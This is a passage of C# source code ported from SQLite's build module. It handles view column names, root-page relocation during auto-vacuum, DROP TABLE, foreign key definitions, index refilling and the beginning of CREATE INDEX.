nCol, it means two or more views form a loop, like this:\n      **\n      **     CREATE VIEW one AS SELECT * FROM two;\n      **     CREATE VIEW two AS SELECT * FROM one;\n      **\n      ** Actually, the error above is now caught prior to reaching this point.\n      ** But the following test is still important as it does come up\n      ** in the following:\n      **\n      **     CREATE TABLE main.ex1(a);\n      **     CREATE TEMP VIEW ex1 AS SELECT a FROM ex1;\n      **     SELECT * FROM temp.ex1;\n      */\n      if ( pTable.nCol < 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"view %s is circularly defined\", pTable.zName );\n        return 1;\n      }\n      Debug.Assert( pTable.nCol >= 0 );\n\n      /* If we get this far, it means we need to compute the table names.\n      ** Note that the call to sqlite3ResultSetOfSelect() will expand any\n      ** \"*\" elements in the results set of the view and will assign cursors\n      ** to the elements of the FROM clause.  But we do not want these changes\n      ** to be permanent.  So the computation is done on a copy of the SELECT\n      ** statement that defines the view.\n      */\n      Debug.Assert( pTable.pSelect != null );\n      pSel = sqlite3SelectDup( db, pTable.pSelect, 0 );\n      if ( pSel != null )\n      {\n        u8 enableLookaside = db.lookaside.bEnabled;\n        n = pParse.nTab;\n        sqlite3SrcListAssignCursors( pParse, pSel.pSrc );\n        pTable.nCol = -1;\n        db.lookaside.bEnabled = 0;\n#if !SQLITE_OMIT_AUTHORIZATION\nxAuth = db.xAuth;\ndb.xAuth = 0;\npSelTab = sqlite3ResultSetOfSelect(pParse, pSel);\ndb.xAuth = xAuth;\n#else\n        pSelTab = sqlite3ResultSetOfSelect( pParse, pSel );\n#endif\n        db.lookaside.bEnabled = enableLookaside;\n        pParse.nTab = n;\n        if ( pSelTab != null )\n        {\n          Debug.Assert( pTable.aCol == null );\n          pTable.nCol = pSelTab.nCol;\n          pTable.aCol = pSelTab.aCol;\n          pSelTab.nCol = 0;\n          pSelTab.aCol = null;\n          sqlite3DeleteTable( ref pSelTab );\n          pTable.pSchema.flags |= DB_UnresetViews;\n        }\n        else\n        {\n          pTable.nCol = 0;\n          nErr++;\n        }\n        sqlite3SelectDelete( db, ref pSel );\n      }\n      else\n      {\n        nErr++;\n      }\n#endif // * SQLITE_OMIT_VIEW */\n      return nErr;\n    }\n#endif // * !SQLITE_OMIT_VIEW) || !SQLITE_OMIT_VIRTUALTABLE) */\n\n#if !SQLITE_OMIT_VIEW\n    /*\n** Clear the column names from every VIEW in database idx.\n*/\n    static void sqliteViewResetAll( sqlite3 db, int idx )\n    {\n      HashElem i;\n      if ( !DbHasProperty( db, idx, DB_UnresetViews ) ) return;\n      //for(i=sqliteHashFirst(&db.aDb[idx].pSchema.tblHash); i;i=sqliteHashNext(i)){\n      for ( i = db.aDb[idx].pSchema.tblHash.first ; i != null ; i = i.next )\n      {\n        Table pTab = (Table)i.data;// sqliteHashData( i );\n        if ( pTab.pSelect != null )\n        {\n          sqliteResetColumnNames( pTab );\n        }\n      }\n      DbClearProperty( db, idx, DB_UnresetViews );\n    }\n#else\n//# define sqliteViewResetAll(A,B)\n#endif // * SQLITE_OMIT_VIEW */\n\n    /*\n** This function is called by the VDBE to adjust the internal schema\n** used by SQLite when the btree layer moves a table root page. The\n** root-page of a table or index in database iDb has changed from iFrom\n** to iTo.\n**\n** Ticket #1728:  The symbol table might still contain information\n** on tables and/or indices that are the process of being deleted.\n** If you are unlucky, one of those deleted indices or tables might\n** have the same rootpage number as the real table or index that is\n** being moved.  So we cannot stop searching after the first match\n** because the first match might be for one of the deleted indices\n** or tables and not the table/index that is actually being moved.\n** We must continue looping until all tables and indices with\n** rootpage==iFrom have been converted to have a rootpage of iTo\n** in order to be certain that we got the right one.\n*/\n#if !SQLITE_OMIT_AUTOVACUUM\n    static void sqlite3RootPageMoved( Db pDb, int iFrom, int iTo )\n    {\n      HashElem pElem;\n      Hash pHash;\n\n      pHash = pDb.pSchema.tblHash;\n      for ( pElem = pHash.first ; pElem != null ; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) )\n      {\n        Table pTab = (Table)pElem.data;// sqliteHashData( pElem );\n        if ( pTab.tnum == iFrom )\n        {\n          pTab.tnum = iTo;\n        }\n      }\n      pHash = pDb.pSchema.idxHash;\n      for ( pElem = pHash.first ; pElem != null ; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) )\n      {\n        Index pIdx = (Index)pElem.data;// sqliteHashData( pElem );\n        if ( pIdx.tnum == iFrom )\n        {\n          pIdx.tnum = iTo;\n        }\n      }\n    }\n#endif\n\n    /*\n** Write code to erase the table with root-page iTable from database iDb.\n** Also write code to modify the sqlite_master table and internal schema\n** if a root-page of another table is moved by the btree-layer whilst\n** erasing iTable (this can happen with an auto-vacuum database).\n*/\n    static void destroyRootPage( Parse pParse, int iTable, int iDb )\n    {\n      Vdbe v = sqlite3GetVdbe( pParse );\n      int r1 = sqlite3GetTempReg( pParse );\n      sqlite3VdbeAddOp3( v, OP_Destroy, iTable, r1, iDb );\n#if !SQLITE_OMIT_AUTOVACUUM\n      /* OP_Destroy stores an in integer r1. If this integer\n** is non-zero, then it is the root page number of a table moved to\n** location iTable. The following code modifies the sqlite_master table to\n** reflect this.\n**\n** The \"#NNN\" in the SQL is a special constant that means whatever value\n** is in register NNN.  See grammar rules associated with the TK_REGISTER\n** token for additional information.\n*/\n      sqlite3NestedParse( pParse,\n      \"UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d\",\n      pParse.db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), iTable, r1, r1 );\n#endif\n      sqlite3ReleaseTempReg( pParse, r1 );\n    }\n\n    /*\n    ** Write VDBE code to erase table pTab and all associated indices on disk.\n    ** Code to update the sqlite_master tables and internal schema definitions\n    ** in case a root-page belonging to another table is moved by the btree layer\n    ** is also added (this can happen with an auto-vacuum database).\n    */\n    static void destroyTable( Parse pParse, Table pTab )\n    {\n#if  SQLITE_OMIT_AUTOVACUUM\nIndex pIdx;\nint iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\ndestroyRootPage( pParse, pTab.tnum, iDb );\nfor ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n{\ndestroyRootPage( pParse, pIdx.tnum, iDb );\n}\n#else\n      /* If the database may be auto-vacuum capable (if SQLITE_OMIT_AUTOVACUUM\n** is not defined), then it is important to call OP_Destroy on the\n** table and index root-pages in order, starting with the numerically\n** largest root-page number. This guarantees that none of the root-pages\n** to be destroyed is relocated by an earlier OP_Destroy. i.e. if the\n** following were coded:\n**\n** OP_Destroy 4 0\n** ...\n** OP_Destroy 5 0\n**\n** and root page 5 happened to be the largest root-page number in the\n** database, then root page 5 would be moved to page 4 by the\n** \"OP_Destroy 4 0\" opcode. The subsequent \"OP_Destroy 5 0\" would hit\n** a free-list page.\n*/\n      int iTab = pTab.tnum;\n      int iDestroyed = 0;\n\n      while ( true )\n      {\n        Index pIdx;\n        int iLargest = 0;\n\n        if ( iDestroyed == 0 || iTab < iDestroyed )\n        {\n          iLargest = iTab;\n        }\n        for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n        {\n          int iIdx = pIdx.tnum;\n          Debug.Assert( pIdx.pSchema == pTab.pSchema );\n          if ( ( iDestroyed == 0 || ( iIdx < iDestroyed ) ) && iIdx > iLargest )\n          {\n            iLargest = iIdx;\n          }\n        }\n        if ( iLargest == 0 )\n        {\n          return;\n        }\n        else\n        {\n          int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n          destroyRootPage( pParse, iLargest, iDb );\n          iDestroyed = iLargest;\n        }\n      }\n#endif\n    }\n\n    /*\n    ** This routine is called to do the work of a DROP TABLE statement.\n    ** pName is the name of the table to be dropped.\n    */\n    static void sqlite3DropTable( Parse pParse, SrcList pName, int isView, int noErr )\n    {\n      Table pTab;\n      Vdbe v;\n      sqlite3 db = pParse.db;\n      int iDb;\n\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto exit_drop_table;\n      //}\n      Debug.Assert( pParse.nErr == 0 );\n      Debug.Assert( pName.nSrc == 1 );\n      pTab = sqlite3LocateTable( pParse, isView,\n      pName.a[0].zName, pName.a[0].zDatabase );\n\n      if ( pTab == null )\n      {\n        if ( noErr != 0 )\n        {\n          sqlite3ErrorClear( pParse );\n        }\n        goto exit_drop_table;\n      }\n      iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n\n      /* If pTab is a virtual table, call ViewGetColumnNames() to ensure\n      ** it is initialized.\n      */\n      if ( IsVirtual( pTab ) && sqlite3ViewGetColumnNames( pParse, pTab ) != 0 )\n      {\n        goto exit_drop_table;\n      }\n#if !SQLITE_OMIT_AUTHORIZATION\n{\nint code;\nstring zTab = SCHEMA_TABLE(iDb);\nstring zDb = db.aDb[iDb].zName;\nstring zArg2 = 0;\nif( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb)){\ngoto exit_drop_table;\n}\nif( isView ){\nif( OMIT_TEMPDB ==0&& iDb==1 ){\ncode = SQLITE_DROP_TEMP_VIEW;\n}else{\ncode = SQLITE_DROP_VIEW;\n}\n}else if( IsVirtual(pTab) ){\ncode = SQLITE_DROP_VTABLE;\nzArg2 = sqlite3GetVTable(db, pTab)->pMod->zName;\n}else{\nif( OMIT_TEMPDB ==0&& iDb==1 ){\ncode = SQLITE_DROP_TEMP_TABLE;\n}else{\ncode = SQLITE_DROP_TABLE;\n}\n}\nif( sqlite3AuthCheck(pParse, code, pTab.zName, zArg2, zDb) ){\ngoto exit_drop_table;\n}\nif( sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab.zName, 0, zDb) ){\ngoto exit_drop_table;\n}\n}\n#endif\n      if ( sqlite3StrNICmp( pTab.zName, \"sqlite_\", 7 ) == 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"table %s may not be dropped\", pTab.zName );\n        goto exit_drop_table;\n      }\n\n#if !SQLITE_OMIT_VIEW\n      /* Ensure DROP TABLE is not used on a view, and DROP VIEW is not used\n** on a table.\n*/\n      if ( isView != 0 && pTab.pSelect == null )\n      {\n        sqlite3ErrorMsg( pParse, \"use DROP TABLE to delete table %s\", pTab.zName );\n        goto exit_drop_table;\n      }\n      if ( 0 == isView && pTab.pSelect != null )\n      {\n        sqlite3ErrorMsg( pParse, \"use DROP VIEW to delete view %s\", pTab.zName );\n        goto exit_drop_table;\n      }\n#endif\n\n      /* Generate code to remove the table from the master table\n** on disk.\n*/\n      v = sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        Trigger pTrigger;\n        Db pDb = db.aDb[iDb];\n        sqlite3BeginWriteOperation( pParse, 1, iDb );\n\n        if ( IsVirtual( pTab ) )\n        {\n          sqlite3VdbeAddOp0( v, OP_VBegin );\n        }\n\n        /* Drop all triggers associated with the table being dropped. Code\n        ** is generated to remove entries from sqlite_master and/or\n        ** sqlite_temp_master if required.\n        */\n        pTrigger = sqlite3TriggerList( pParse, pTab );\n        while ( pTrigger != null )\n        {\n          Debug.Assert( pTrigger.pSchema == pTab.pSchema ||\n          pTrigger.pSchema == db.aDb[1].pSchema );\n          sqlite3DropTriggerPtr( pParse, pTrigger );\n          pTrigger = pTrigger.pNext;\n        }\n\n#if !SQLITE_OMIT_AUTOINCREMENT\n        /* Remove any entries of the sqlite_sequence table associated with\n** the table being dropped. This is done before the table is dropped\n** at the btree level, in case the sqlite_sequence table needs to\n** move as a result of the drop (can happen in auto-vacuum mode).\n*/\n        if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 )\n        {\n          sqlite3NestedParse( pParse,\n          \"DELETE FROM %s.sqlite_sequence WHERE name=%Q\",\n          pDb.zName, pTab.zName\n          );\n        }\n#endif\n\n        /* Drop all SQLITE_MASTER table and index entries that refer to the\n** table. The program name loops through the master table and deletes\n** every row that refers to a table of the same name as the one being\n** dropped. Triggers are handled seperately because a trigger can be\n** created in the temp database that refers to a table in another\n** database.\n*/\n        sqlite3NestedParse( pParse,\n        \"DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'\",\n        pDb.zName, SCHEMA_TABLE( iDb ), pTab.zName );\n\n        /* Drop any statistics from the sqlite_stat1 table, if it exists */\n        if ( sqlite3FindTable( db, \"sqlite_stat1\", db.aDb[iDb].zName ) != null )\n        {\n          sqlite3NestedParse( pParse,\n          \"DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q\", pDb.zName, pTab.zName\n          );\n        }\n\n        if ( 0 == isView && !IsVirtual( pTab ) )\n        {\n          destroyTable( pParse, pTab );\n        }\n\n        /* Remove the table entry from SQLite's internal schema and modify\n        ** the schema cookie.\n        */\n        if ( IsVirtual( pTab ) )\n        {\n          sqlite3VdbeAddOp4( v, OP_VDestroy, iDb, 0, 0, pTab.zName, 0 );\n        }\n        sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 );\n        sqlite3ChangeCookie( pParse, iDb );\n      }\n      sqliteViewResetAll( db, iDb );\n\nexit_drop_table:\n      sqlite3SrcListDelete( db, ref pName );\n    }\n\n    /*\n    ** This routine is called to create a new foreign key on the table\n    ** currently under construction.  pFromCol determines which columns\n    ** in the current table point to the foreign key.  If pFromCol==0 then\n    ** connect the key to the last column inserted.  pTo is the name of\n    ** the table referred to.  pToCol is a list of tables in the other\n    ** pTo table that the foreign key points to.  flags contains all\n    ** information about the conflict resolution algorithms specified\n    ** in the ON DELETE, ON UPDATE and ON INSERT clauses.\n    **\n    ** An FKey structure is created and added to the table currently\n    ** under construction in the pParse.pNewTable field.\n    **\n    ** The foreign key is set for IMMEDIATE processing.  A subsequent call\n    ** to sqlite3DeferForeignKey() might change this to DEFERRED.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3CreateForeignKey( Parse pParse, int null_2, Token pTo, ExprList pToCol, int flags )\n    { sqlite3CreateForeignKey( pParse, null, pTo, pToCol, flags ); }\n    static void sqlite3CreateForeignKey(\n    Parse pParse,       /* Parsing context */\n    ExprList pFromCol,  /* Columns in this table that point to other table */\n    Token pTo,          /* Name of the other table */\n    ExprList pToCol,    /* Columns in the other table */\n    int flags           /* Conflict resolution algorithms. */\n    )\n    {\n      sqlite3 db = pParse.db;\n#if !SQLITE_OMIT_FOREIGN_KEY\n      FKey pFKey = null;\n      Table p = pParse.pNewTable;\n      int nByte;\n      int i;\n      int nCol;\n      //string z;\n\n      Debug.Assert( pTo != null );\n      if ( p == null || IN_DECLARE_VTAB ) goto fk_end;\n      if ( pFromCol == null )\n      {\n        int iCol = p.nCol - 1;\n        if ( NEVER( iCol < 0 ) ) goto fk_end;\n        if ( pToCol != null && pToCol.nExpr != 1 )\n        {\n          sqlite3ErrorMsg( pParse, \"foreign key on %s\" +\n          \" should reference only one column of table %T\",\n          p.aCol[iCol].zName, pTo );\n          goto fk_end;\n        }\n        nCol = 1;\n      }\n      else if ( pToCol != null && pToCol.nExpr != pFromCol.nExpr )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"number of columns in foreign key does not match the number of \" +\n        \"columns in the referenced table\" );\n        goto fk_end;\n      }\n      else\n      {\n        nCol = pFromCol.nExpr;\n      }\n      //nByte = sizeof(*pFKey) + (nCol-1)*sizeof(pFKey.aCol[0]) + pTo.n + 1;\n      //if( pToCol ){\n      //  for(i=0; i<pToCol.nExpr; i++){\n      //    nByte += sqlite3Strlen30(pToCol->a[i].zName) + 1;\n      //  }\n      //}\n      pFKey = new FKey();//sqlite3DbMallocZero(db, nByte );\n      if ( pFKey == null )\n      {\n        goto fk_end;\n      }\n      pFKey.pFrom = p;\n      pFKey.pNextFrom = p.pFKey;\n      //z = pFKey.aCol[nCol].zCol;\n      pFKey.aCol = new FKey.sColMap[nCol];// z;\n      pFKey.aCol[0] = new FKey.sColMap();\n      pFKey.zTo = pTo.z.Substring( 0, pTo.n );      //memcpy( z, pTo.z, pTo.n );\n      //z[pTo.n] = 0;\n      sqlite3Dequote( ref pFKey.zTo );\n      //z += pTo.n + 1;\n      pFKey.nCol = nCol;\n      if ( pFromCol == null )\n      {\n        pFKey.aCol[0].iFrom = p.nCol - 1;\n      }\n      else\n      {\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          if ( pFKey.aCol[i] == null ) pFKey.aCol[i] = new FKey.sColMap();\n          int j;\n          for ( j = 0 ; j < p.nCol ; j++ )\n          {\n            if ( sqlite3StrICmp( p.aCol[j].zName, pFromCol.a[i].zName ) == 0 )\n            {\n              pFKey.aCol[i].iFrom = j;\n              break;\n            }\n          }\n          if ( j >= p.nCol )\n          {\n            sqlite3ErrorMsg( pParse,\n            \"unknown column \\\"%s\\\" in foreign key definition\",\n            pFromCol.a[i].zName );\n            goto fk_end;\n          }\n        }\n      }\n      if ( pToCol != null )\n      {\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          int n = sqlite3Strlen30( pToCol.a[i].zName );\n          if ( pFKey.aCol[i] == null ) pFKey.aCol[i] = new FKey.sColMap();\n          pFKey.aCol[i].zCol = pToCol.a[i].zName;\n          //memcpy( z, pToCol.a[i].zName, n );\n          //z[n] = 0;\n          //z += n + 1;\n        }\n      }\n      pFKey.isDeferred = 0;\n      pFKey.deleteConf = (u8)( flags & 0xff );\n      pFKey.updateConf = (u8)( ( flags >> 8 ) & 0xff );\n      pFKey.insertConf = (u8)( ( flags >> 16 ) & 0xff );\n\n      /* Link the foreign key to the table as the last step.\n      */\n      p.pFKey = pFKey;\n      pFKey = null;\n\nfk_end:\n      //sqlite3DbFree( db, ref pFKey );\n#endif // * !SQLITE_OMIT_FOREIGN_KEY) */\n      sqlite3ExprListDelete( db, ref pFromCol );\n      sqlite3ExprListDelete( db, ref pToCol );\n    }\n\n    /*\n    ** This routine is called when an INITIALLY IMMEDIATE or INITIALLY DEFERRED\n    ** clause is seen as part of a foreign key definition.  The isDeferred\n    ** parameter is 1 for INITIALLY DEFERRED and 0 for INITIALLY IMMEDIATE.\n    ** The behavior of the most recently created foreign key is adjusted\n    ** accordingly.\n    */\n    static void sqlite3DeferForeignKey( Parse pParse, int isDeferred )\n    {\n#if !SQLITE_OMIT_FOREIGN_KEY\n      Table pTab;\n      FKey pFKey;\n      if ( ( pTab = pParse.pNewTable ) == null || ( pFKey = pTab.pFKey ) == null ) return;\n      Debug.Assert( isDeferred == 0 || isDeferred == 1 );\n      pFKey.isDeferred = (u8)isDeferred;\n#endif\n    }\n\n    /*\n    ** Generate code that will erase and refill index pIdx.  This is\n    ** used to initialize a newly created index or to recompute the\n    ** content of an index in response to a REINDEX command.\n    **\n    ** if memRootPage is not negative, it means that the index is newly\n    ** created.  The register specified by memRootPage contains the\n    ** root page number of the index.  If memRootPage is negative, then\n    ** the index already exists and must be cleared before being refilled and\n    ** the root page number of the index is taken from pIndex.tnum.\n    */\n    static void sqlite3RefillIndex( Parse pParse, Index pIndex, int memRootPage )\n    {\n      Table pTab = pIndex.pTable;   /* The table that is indexed */\n      int iTab = pParse.nTab++;     /* Btree cursor used for pTab */\n      int iIdx = pParse.nTab++;     /* Btree cursor used for pIndex */\n      int addr1;                    /* Address of top of loop */\n      int tnum;                     /* Root page of index */\n      Vdbe v;                       /* Generate code into this virtual machine */\n      KeyInfo pKey;                 /* KeyInfo for index */\n      int regIdxKey;                /* Registers containing the index key */\n      int regRecord;                /* Register holding assemblied index record */\n      sqlite3 db = pParse.db;       /* The database connection */\n      int iDb = sqlite3SchemaToIndex( db, pIndex.pSchema );\n\n#if !SQLITE_OMIT_AUTHORIZATION\nif( sqlite3AuthCheck(pParse, SQLITE_REINDEX, pIndex.zName, 0,\ndb.aDb[iDb].zName ) ){\nreturn;\n}\n#endif\n\n      /* Require a write-lock on the table to perform this operation */\n      sqlite3TableLock( pParse, iDb, pTab.tnum, 1, pTab.zName );\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) return;\n      if ( memRootPage >= 0 )\n      {\n        tnum = memRootPage;\n      }\n      else\n      {\n        tnum = pIndex.tnum;\n        sqlite3VdbeAddOp2( v, OP_Clear, tnum, iDb );\n      }\n      pKey = sqlite3IndexKeyinfo( pParse, pIndex );\n      sqlite3VdbeAddOp4( v, OP_OpenWrite, iIdx, tnum, iDb,\n      pKey, P4_KEYINFO_HANDOFF );\n      if ( memRootPage >= 0 )\n      {\n        sqlite3VdbeChangeP5( v, 1 );\n      }\n      sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead );\n      addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iTab, 0 );\n      regRecord = sqlite3GetTempReg( pParse );\n      regIdxKey = sqlite3GenerateIndexKey( pParse, pIndex, iTab, regRecord, true );\n      if ( pIndex.onError != OE_None )\n      {\n        int regRowid = regIdxKey + pIndex.nColumn;\n        int j2 = sqlite3VdbeCurrentAddr( v ) + 2;\n        int pRegKey = regIdxKey;// SQLITE_INT_TO_PTR( regIdxKey );\n\n        /* The registers accessed by the OP_IsUnique opcode were allocated\n        ** using sqlite3GetTempRange() inside of the sqlite3GenerateIndexKey()\n        ** call above. Just before that function was freed they were released\n        ** (made available to the compiler for reuse) using\n        ** sqlite3ReleaseTempRange(). So in some ways having the OP_IsUnique\n        ** opcode use the values stored within seems dangerous. However, since\n        ** we can be sure that no other temp registers have been allocated\n        ** since sqlite3ReleaseTempRange() was called, it is safe to do so.\n        */\n        sqlite3VdbeAddOp4( v, OP_IsUnique, iIdx, j2, regRowid, pRegKey, P4_INT32 );\n        sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, OE_Abort, 0,\n        \"indexed columns are not unique\", P4_STATIC );\n      }\n      sqlite3VdbeAddOp2( v, OP_IdxInsert, iIdx, regRecord );\n      sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT );\n      sqlite3ReleaseTempReg( pParse, regRecord );\n      sqlite3VdbeAddOp2( v, OP_Next, iTab, addr1 + 1 );\n      sqlite3VdbeJumpHere( v, addr1 );\n      sqlite3VdbeAddOp1( v, OP_Close, iTab );\n      sqlite3VdbeAddOp1( v, OP_Close, iIdx );\n    }\n\n    /*\n    ** Create a new index for an SQL table.  pName1.pName2 is the name of the index\n    ** and pTblList is the name of the table that is to be indexed.  Both will\n    ** be NULL for a primary key or an index that is created to satisfy a\n    ** UNIQUE constraint.  If pTable and pIndex are NULL, use pParse.pNewTable\n    ** as the table to be indexed.  pParse.pNewTable is a table that is\n    ** currently being constructed by a CREATE TABLE statement.\n    **\n    ** pList is a list of columns to be indexed.  pList will be NULL if this\n    ** is a primary key or unique-constraint on the most recent column added\n    ** to the table currently under construction.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, int null_5, int onError, int null_7, int null_8, int sortOrder, int ifNotExist )\n    { sqlite3CreateIndex( pParse, null, null, null, null, onError, null, null, sortOrder, ifNotExist ); }\n    static void sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, ExprList pList, int onError, int null_7, int null_8, int sortOrder, int ifNotExist )\n    { sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, ifNotExist ); }\n    static void sqlite3CreateIndex(\n    Parse pParse,     /* All information about this Parse */\n    Token pName1,     /* First part of index name. May be NULL */\n    Token pName2,     /* Second part of index name. May be NULL */\n    SrcList pTblName, /* Table to index. Use pParse.pNewTable if 0 */\n    ExprList pList,   /* A list of columns to be indexed */\n    int onError,      /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */\n    Token pStart,     /* The CREATE token that begins this statement */\n    Token pEnd,       /* The \")\" that closes the CREATE INDEX statement */\n    int sortOrder,    /* Sort order of primary key when pList==NULL */\n    int ifNotExist    /* Omit error if index already exists */\n    )\n    {\n      Table pTab = null;            /* Table to be indexed */\n      Index pIndex = null;          /* The index to be created */\n      string zName = null;          /* Name of the index */\n      int nName;                    /* Number of characters in zName */\n      int i, j;\n      Token nullId = new Token();   /* Fake token for an empty ID list */\n      DbFixer sFix = new DbFixer(); /* For assigning database names to pTable */\n      int sortOrderMask;            /* 1 to honor DESC in index.  0 to ignore. */\n      sqlite3 db = pParse.db;\n      Db pDb;                       /* The specific table containing the indexed database */\n      int iDb;                      /* Index of the database that is being written */\n      Token pName = null;           /* Unqualified name of the index to create */\n      ExprList_item pListItem;      /* For looping over pList */\n      int nCol;\n      int nExtra = 0;\n      StringBuilder zExtra = new StringBuilder();\n\n      Debug.Assert( pStart == null || pEnd != null ); /* pEnd must be non-NULL if pStart is */\n      Debug.Assert( pParse.nErr == 0 );      /* Never called with prior errors */\n      if ( /* db.mallocFailed != 0 || */ IN_DECLARE_VTAB )\n      {\n        goto exit_create_index;\n      }\n      if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n      {\n        goto exit_create_index;\n      }\n\n      /*\n      ** Find the table that is to be indexed.  Return early if not found.\n      */\n      if ( pTblName != null )\n      {\n\n        /* Use the two-part index name to determine the database\n        ** to search for the table. 'Fix' the table name to this db\n        ** before looking up the table.\n        */\n        Debug.Assert( pName1 != null && pName2 != null );\n        iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref  pName );\n        if ( iDb < 0 ) goto exit_create_index;\n\n#if !SQLITE_OMIT_TEMPDB\n        /* If the index name was unqualified, check if the the table\n** is a temp table. If so, set the database to 1. Do not do this\n** if initialising a database schema.\n*/\n        if ( 0 == db.init.busy )\n        {\n          pTab = sqlite3SrcListLookup( pParse, pTblName );\n          if ( pName2.n == 0 && pTab != null && pTab.pSchema == db.aDb[1].pSchema )\n          {\n            iDb = 1;\n          }\n        }\n#endif\n\n        if ( sqlite3FixInit( sFix, pParse, iDb, \"index\", pName ) != 0 &&\n        sqlite3FixSrcList( sFix, pTblName ) != 0\n        )\n        {\n          /* Because the parser constructs pTblName from a single identifier,\n          ** sqlite3FixSrcList can never fail. */\n          Debugger.Break();\n        }\n        pTab = sqlite3LocateTable( pParse, 0, pTblName.a[0].zName,\n        pTblName.a[0].zDatabase );\n        if ( pTab == null /*|| db.mallocFailed != 0 */ ) goto exit_create_index;\n        Debug.Assert( db.aDb[iDb].pSchema == pTab.pSchema );\n      }\n      else\n      {\n        Debug.Assert( pName == null );\n        pTab = pParse.pNewTable;\n        if ( pTab == null ) goto exit_create_index;\n        iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n      }\n      pDb = db.aDb[iDb];\n\n      Debug.Assert( pTab != null );\n      Debug.Assert( pParse.nErr == 0 );\n      if ( sqlite3StrNICmp( pTab.zName, \"sqlite_\", 7 ) == 0\n      && sqlite3StrNICmp( pTab.zName, 7, \"altertab_\", 9 ) != 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"table %s may not be indexed\", pTab.zName );\n        goto exit_create_index;\n      }\n#if !SQLITE_OMIT_VIEW\n      if ( pTab.pSelect != null )\n      {\n        sqlite3ErrorMsg( pParse, \"views may not be indexed\" );\n        goto exit_create_index;\n      }\n#endif\n      if ( IsVirtual( pTab ) )\n      {\n        sqlite3ErrorMsg( pParse, \"virtual tables may not be indexed\" );\n        goto exit_create_index;\n      }\n\n      /*\n      ** Find the name of the index.  Make sure there is not already another\n      ** index or table with the same name.\n      **\n      ** Exception:  If we are reading the names of permanent indices from the\n      ** sqlite_master table (because some other process changed the schema) and\n      ** one of the index names collides with the name of a temporary table or\n      ** index, then we will continue to process this index.\n      **\n      ** If pName==0 it means that we are\n      ** dealing with a primary key or UNIQUE constraint.  We have to invent our\n      ** own name.\n      */\n      if ( pName != null )\n      {\n        zName = sqlite3NameFromToken( db, pName );\n        if ( zName == null ) goto exit_create_index;\n        if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) )\n        {\n          goto exit_create_index;\n        }\n        if ( 0 == db.init.busy )\n        {\n          if ( sqlite3FindTable( db, zName, null ) != null )\n          {\n            sqlite3ErrorMsg( pParse, \"there is already a table named %s\", zName );\n            goto exit_create_index;\n          }\n        }\n        if ( sqlite3FindIndex( db, zName, pDb.zName ) != null )\n        {\n          if ( ifNotExist == 0 )\n          {\n            sqlite3ErrorMsg( pParse, \"index %s already exists\", zName );\n          }\n          goto exit_create_index;\n        }\n      }\n      else\n      {\n        int n = 0;\n        Index pLoop;\n        for ( pLoop = pTab.pIndex, n = 1 ; pLoop != null ; pLoop = pLoop.pNext, n++ ) { }\n        zName = sqlite3MPrintf( db, \"sqlite_autoindex_%s_%d\", pTab.zName, n );\n        if ( zName == null )\n        {\n          goto exit_create_index;\n        }\n      }\n\n      /* Check for authorization to create an index.\n      */\n#if !SQLITE_OMIT_AUTHORIZATION\n{\nstring zDb = pDb.zName;\nif( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(iDb), 0, zDb) ){\ngoto exit_create_index;\n}\ni = SQLITE_CREATE_INDEX;\nif( OMIT_TEMPDB ==0&& iDb==1 ) i = SQLITE_CREATE_TEMP_INDEX;\nif( sqlite3AuthCheck(pParse, i, zName, pTab.zName, zDb) ){\ngoto exit_create_index;\n}\n}\n#endif\n\n      /* If pList==0, it means this routine was called to make a primary\n** key out of the last column added to the table under construction.\n** So create a fake list to simulate this.\n*/\n      if ( pList == null )\n      {\n        nullId.z = pTab.aCol[pTab.nCol - 1].zName;\n        nullId.n = sqlite3Strlen30( nullId.z );\n        pList = sqlite3ExprListAppend( pParse, null, null );\n        if ( pList == null ) goto exit_create_index;\n        sqlite3ExprListSetName( pParse, pList, nullId, 0 );\n        pList.a[0].sortOrder = (u8)sortOrder;\n      }\n\n      /* Figure out how many bytes of space are required to store explicitly\n      ** specified collation sequence names.\n      */\n      for ( i = 0 ; i < pList.nExpr ; i++ )\n      {\n        Expr pExpr = pList.a[i].pExpr;\n        if ( 